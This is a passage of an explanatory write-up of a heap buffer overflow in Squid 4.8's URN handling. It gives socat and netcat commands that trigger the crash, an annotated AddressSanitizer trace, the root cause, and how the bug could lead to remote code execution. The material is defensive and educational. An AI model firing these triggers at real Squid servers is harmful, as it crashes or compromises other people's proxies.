socatis a general-purpose networking tool. It can listen on a port and run a command for each connection.TCP-LISTEN:8080means listen for TCP connections on port 8080. TCP is the standard way computers exchange reliable streams of data over a network.forkmeans handle each incoming connection in a separate copy of the process, so several clients can be served one after another.SYSTEM:"..."means run the quoted command and send its output back to whoever connected.python -c 'print("A" * 4096)'runs a one-line Python program that prints the letter A 4096 times. The backslashes are there because the command is nested inside quotes inside quotes; they escape the inner quotes so the shell passes them through correctly.
This is the attacker-controlled response that will be buffered into urnState->reqbuf.
Step 3: send a URN request
Send a URN request through the proxy, pointing the URN at the attacker's server:
$ echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
echo -eprints the quoted text and interprets escape sequences.\r\nbecomes a carriage return followed by a newline, which is how HTTP messages mark the end of a line. Two of them in a row mark the end of the request headers.GET urn::@<attacker IP>:8080/ HTTP/1.1is the request line.GETis the method, meaning "give me this". The address is a URN whose server part points at the attacker's machine on port 8080.HTTP/1.1is the protocol version. The placeholders<attacker IP>and<squid hostname>are where you fill in your own values.|is a pipe: it takes the output of the command on the left and feeds it as input to the command on the right.ncis netcat, a simple tool for opening a network connection and typing or piping data into it.<squid hostname> 3128is the Squid machine and port 3128, Squid's usual proxy port.
The request targets port 3128 on the Squid host, Squid's usual proxy port. Squid then fetches the URL list from the attacker's server on port 8080.
What came back
With ASan enabled, the child process aborts with a heap-buffer-overflow. The report shows a WRITE of size 81 immediately to the right of a 4184-byte region that was allocated for the UrnState object:
==4723==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000067958 at pc 0x7f0d8a44deed bp 0x7ffff8eef4b0 sp 0x7ffff8eeec58
WRITE of size 81 at 0x621000067958 thread T0
#0 0x7f0d8a44deec (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x9feec)
#1 0x563906dc1389 in mem_hdr::copyAvailable(mem_node*, long, unsigned long, char*) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:202
#2 0x563906dc1f58 in mem_hdr::copy(StoreIOBuffer const&) const /home/j1/h4x/squid/releases/squid-4.8/src/stmem.cc:262
#3 0x563906de76d7 in store_client::scheduleMemRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:424
#4 0x563906de6f0c in store_client::scheduleRead() /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:391
#5 0x563906de691f in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:352
#6 0x563906de6082 in storeClientCopy2 /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:306
#7 0x563906de4ac4 in storeClientCopyEvent /home/j1/h4x/squid/releases/squid-4.8/src/store_client.cc:145
#8 0x563906c3cc8e in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid/releases/squid-4.8/src/event.cc:41
#9 0x563906c3d7c6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
#10 0x563906fd75cd in AsyncCall::make() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCall.cc:40
#11 0x563906fd90b5 in AsyncCallQueue::fireNext() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:56
#12 0x563906fd8bfc in AsyncCallQueue::fire() /home/j1/h4x/squid/releases/squid-4.8/src/base/AsyncCallQueue.cc:42
#13 0x563906c3e8ac in EventLoop::dispatchCalls() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:144
#14 0x563906c3e42e in EventLoop::runOnce() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:109
#15 0x563906c3e052 in EventLoop::run() /home/j1/h4x/squid/releases/squid-4.8/src/EventLoop.cc:83
#16 0x563906d35a0e in SquidMain(int, char**) /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1709
#17 0x563906d34102 in SquidMainSafe /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1417
#18 0x563906d3404f in main /home/j1/h4x/squid/releases/squid-4.8/src/main.cc:1405
#19 0x7f0d89723eaa in __libc_start_main (/lib64/libc.so.6+0x23eaa)
#20 0x563906ae3b59 in _start (/home/j1/h4x/squid/debug/squid-4.8/sbin/squid+0x484b59)
0x621000067958 is located 0 bytes to the right of 4184-byte region [0x621000066900,0x621000067958)
allocated by thread T0 here:
#0 0x7f0d8a4c59ae in __interceptor_calloc (/usr/lib/gcc/x86_64-pc-linux-gnu/9.2.0/libasan.so.5+0x1179ae)
#1 0x563907343217 in xcalloc /home/j1/h4x/squid/releases/squid-4.8/compat/xalloc.cc:83
#2 0x56390731d954 in MemPoolMalloc::allocate() /home/j1/h4x/squid/releases/squid-4.8/src/mem/PoolMalloc.cc:35
#3 0x563907317412 in MemImplementingAllocator::alloc() /home/j1/h4x/squid/releases/squid-4.8/src/mem/Pool.cc:204
#4 0x563906b62af5 in cbdataInternalAlloc(int, char const*, int) /home/j1/h4x/squid/releases/squid-4.8/src/cbdata.cc:238
#5 0x563906e36d1c in UrnState::operator new(unsigned long) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:32
#6 0x563906e344c1 in urnStart(HttpRequest*, StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/urn.cc:211
#7 0x563906c609cb in FwdState::Start(RefCount<Comm::Connection> const&, StoreEntry*, HttpRequest*, RefCount<AccessLogEntry> const&) /home/j1/h4x/squid/releases/squid-4.8/src/FwdState.cc:373
#8 0x563906bac622 in clientReplyContext::processMiss() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:783
#9 0x563906bb947e in clientReplyContext::doGetMoreData() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1855
#10 0x563906bb76d1 in clientReplyContext::identifyFoundObject(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1707
#11 0x563906bae43c in clientReplyContext::created(StoreEntry*) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:937
#12 0x563906dc96e7 in StoreEntry::getPublicByRequest(StoreClient*, HttpRequest*) /home/j1/h4x/squid/releases/squid-4.8/src/store.cc:524
#13 0x563906bb716e in clientReplyContext::identifyStoreObject() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1667
#14 0x563906bb8cab in clientGetMoreData /home/j1/h4x/squid/releases/squid-4.8/src/client_side_reply.cc:1813
#15 0x563906bead08 in clientStreamRead(clientStreamNode*, ClientHttpRequest*, StoreIOBuffer) /home/j1/h4x/squid/releases/squid-4.8/src/clientStream.cc:182
#16 0x563906bd20c6 in ClientHttpRequest::httpStart() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1542
#17 0x563906bd1c94 in ClientHttpRequest::processRequest() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1528
#18 0x563906bd528d in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1896
#19 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#20 0x563906bcacf5 in ClientRequestContext::clientAccessCheck2() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:729
#21 0x563906bd383f in ClientHttpRequest::doCallouts() /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:1781
#22 0x563906bcc18a in ClientRequestContext::clientAccessCheckDone(allow_t const&) /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:830
#23 0x563906bcae38 in clientAccessCheckDoneWrapper /home/j1/h4x/squid/releases/squid-4.8/src/client_side_request.cc:741
#24 0x563906f171b9 in ACLChecklist::checkCallback(allow_t) /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:169
#25 0x563906f15b23 in ACLChecklist::completeNonBlocking() /home/j1/h4x/squid/releases/squid-4.8/src/acl/Checklist.cc:54
#26 0x563906f17c5b in ACLChecklist::nonBlockingCheck(void (*
This looks intimidating, but it is a structured report. Read it in three parts.
The headline. ERROR: AddressSanitizer: heap-buffer-overflow says ASan caught a write outside a heap buffer. WRITE of size 81 says 81 bytes were written in one go. The address 0x621000067958 is where the write landed. thread T0 says which thread did it; a thread is one line of execution inside a program, and Squid uses several.
The first numbered list (the stack trace). Each #N line is one step in the chain of function calls that led to the write, with the most recent call at the top. A function is a named block of code that does one job. Reading from the top: the write happened inside mem_hdr::copyAvailable, which was called by mem_hdr::copy, which was called by store_client::scheduleMemRead, and so on down through Squid's event loop until main, the entry point of every C program. The file paths and line numbers after each name tell a developer exactly where in the source code to look.
The second numbered list (the allocation trace). This answers a different question: who created the memory region in the first place? It shows the region was allocated through cbdataInternalAlloc from UrnState::operator new in urn.cc, called from urnStart, which is reached from FwdState::Start after a cache miss in clientReplyContext::processMiss. In plain words: a client asked for something Squid did not have cached (a miss), Squid started forwarding the request, reached the URN handling code, and created the UrnState object. The line 0x621000067958 is located 0 bytes to the right of 4184-byte region is the key sentence: the write landed exactly at the first byte after a 4184-byte block, so it is the first byte of the overflow.
The shadow bytes. ASan keeps a parallel map of memory, one shadow byte for every 8 bytes of real memory, recording whether each area is safe to use. 00 means addressable (fine), fa means a redzone, a deliberately poisoned strip around an allocation that should never be touched. The => arrow points at the shadow byte for the address that was written, and it is fa, which is how ASan knows the write was illegal. The legend at the bottom is the key to those codes. ABORTING means the process stopped.
The write happens in mem_hdr::copyAvailable via mem_hdr::copy, reached from store_client::scheduleMemRead and the store client copy path. The allocation stack shows the region was allocated through cbdataInternalAlloc from UrnState::operator new in urn.cc, called from urnStart, which is reached from FwdState::Start after a cache miss in clientReplyContext::processMiss.
Root cause
urnHandleReply builds a StoreIOBuffer whose data pointer is urnState->reqbuf + urnState->reqofs but whose length is the full URN_REQBUF_SZ rather than URN_REQBUF_SZ - urnState->reqofs. On the first pass reqofs is zero, so the length is correct. On a later pass, when part of the buffer is already filled, the copy is told there is more room than there is, and the response data is written past the end of reqbuf. Because the attacker controls the response body, they control how far past the end the write goes.
The buffer lives inside the UrnState struct, so the overflow does not just spill into adjacent heap memory: it first overwrites fields of the same object, including the urlres pointer that follows the buffer and is later freed.
Think of the delivery note again. The correct note would say "put the boxes starting at shelf position 3000, and there are 1096 positions left". The buggy note says "put them starting at 3000, and there are 4096 positions", so the delivery team keeps going past the end of the shelf. Because the shelf is one part of a larger storage unit, the boxes first knock over the labels on the same unit, including the label that says where the urlres item is stored.
Impact
The researcher identifies two properties that make the overflow useful.
A virtual table pointer (often called a vtable pointer) is a hidden pointer that object-oriented C++ programs keep in each object to remember which functions belong to it. If an attacker can overwrite it, the program will later call a function at an address the attacker chose. That is why the first property matters.
The first is the straightforward one: overflowing into an adjacent memory region. If an attacker can align the heap so that a virtual table pointer sits after the UrnState object, they could gain control of the instruction pointer and thereby control the Squid process. The instruction pointer is the CPU register that says which instruction to run next; controlling it means controlling what the program does.
The second is that, before reaching any adjacent object, the overflow passes over the urlres pointer inside UrnState, which is later freed. An attacker who knows current addresses in Squid could use this to trigger a use-after-free. A use-after-free is what happens when a program gives memory back and then keeps using it; if an attacker can arrange for something else to occupy that memory first, the program ends up reading or running the attacker's data. The researcher notes that this pairs with a Cache Manager bypass reported earlier, which lets the attacker learn which addresses are valid. The Cache Manager is Squid's built-in status and statistics interface; a bypass there means getting at information you should not see, in this case memory addresses. Together the researcher says this can lead to RCE, as stated in the severity of the Squid advisory.
Fix
The report does not describe the patch. The defect is the length passed to storeClientCopy: it is the full buffer size rather than the amount of data left.
Variants to test
- Send a URN response larger than 4096 bytes and watch for a child process restart or an ASan abort. A positive result is a heap-buffer-overflow report whose allocation stack passes through
UrnState::operator new. - Vary the response size to see how much is written past the end.
- Send the response in chunks so that
urnHandleReplyis entered several times with a non-zeroreqofs. - Check whether the
urlrespointer insideUrnStateis overwritten before the write reaches adjacent memory.
Glossary
- ACL (access control list): a named rule in Squid's configuration that decides what traffic is allowed.
- AddressSanitizer (ASan): a debugging tool built into a program that detects out-of-bounds memory access and prints a detailed report.
- Buffer: a reserved area of memory used to hold data temporarily.
- Buffer overflow: writing more data into a buffer than it can hold, so the extra data lands in neighbouring memory.
- Cache: a stored copy of something fetched earlier, kept so it can be served again quickly.
- Caching proxy: a server that sits between clients and the internet, forwarding requests and keeping copies of responses.
- Child process: a separate process started by a main program to do work; if it crashes, the parent can start a new one.
- CVE: a public identifier for a known vulnerability.
- CVSS: a scoring system that rates the severity of a vulnerability, from 0 to 10.
- Environment variable: a named value passed to a program when it starts, which the program can read.
- Function: a named block of code that performs a specific job.
- Heap: the area of memory a program uses for data whose size is decided while it runs.
- Heap buffer overflow: a buffer overflow in memory taken from the heap.
- Instruction pointer: the CPU register holding the address of the next instruction to run.
- Memory leak: memory a program reserves and never gives back.
- Pointer: a value that holds the memory address of something else.
- Port: a numbered endpoint on a computer that a particular service listens on.
- Remote code execution (RCE): a vulnerability that lets an attacker run their own code on a remote system.
- Shadow memory: ASan's parallel map recording which memory areas are safe to access.
- socat: a command-line tool for connecting and listening on network sockets.
- Stack trace: the list of function calls that led to a particular point in a program.
- Struct: a grouping of several related pieces of data stored together in memory.
- TCP: the standard protocol for reliable, ordered data exchange over a network.
- Thread: one line of execution within a program.
- URL scheme: the first part of an address, such as
http:,https:orurn:, which says what kind of address it is. - URN: a name that identifies something rather than locating it.
- Use-after-free: using memory after it has been released, which can let an attacker control what the program sees there.
- Virtual table pointer (vtable pointer): a hidden pointer in a C++ object that records which functions belong to it; overwriting it can redirect execution.